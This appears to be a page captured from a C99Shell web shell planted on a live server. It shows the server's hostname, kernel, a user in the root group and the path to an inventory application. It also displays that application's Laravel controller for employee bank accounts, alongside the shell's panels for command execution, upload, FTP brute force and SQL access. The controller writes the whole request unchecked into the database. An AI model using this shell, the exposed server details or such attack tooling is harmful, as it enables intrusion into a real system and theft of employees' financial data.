!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/hrm/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EmployeeAccountController.php (1.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\hrm;
use 
App\Http\Controllers\Controller;

use 
Illuminate\Http\Request;
use 
App\Models\Employee;
use 
App\Models\EmployeeAccount;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Validation\Rule;
use 
DB;

class 
EmployeeAccountController extends Controller
{


    public function 
index(Request $request)
    {
        
//
    
}

    
//----------- Store new EmployeeAccount --------------\\

    
public function store(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'create'Employee::class);

        
$this->validate($request, [
            
'bank_name'      => 'required|string|max:255',
            
'bank_branch'    => 'required|string|max:255',
            
'account_no'     => 'required|string|max:255',
        ]);

        
EmployeeAccount::create($request->all());

        return 
response()->json(['success' => true]);
    }

    
//------------ function show -----------\\

    
public function show($id){
        
//
        
        
}

    
//-----------Update EmployeeAccount --------------\\

    
public function update(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Employee::class);

        
$this->validate($request, [
            
'bank_name'      => 'required|string|max:255',
            
'bank_branch'    => 'required|string|max:255',
            
'account_no'     => 'required|string|max:255',
        ]);

        
EmployeeAccount::whereId($id)->update($request->all());

        return 
response()->json(['success' => true]);
    }



    
//----------- Delete  EmployeeAccount --------------\\

    
public function destroy(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Employee::class);

        
EmployeeAccount::whereId($id)->update([
            
'deleted_at' => Carbon::now(),
        ]);

        return 
response()->json(['success' => true]);
    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--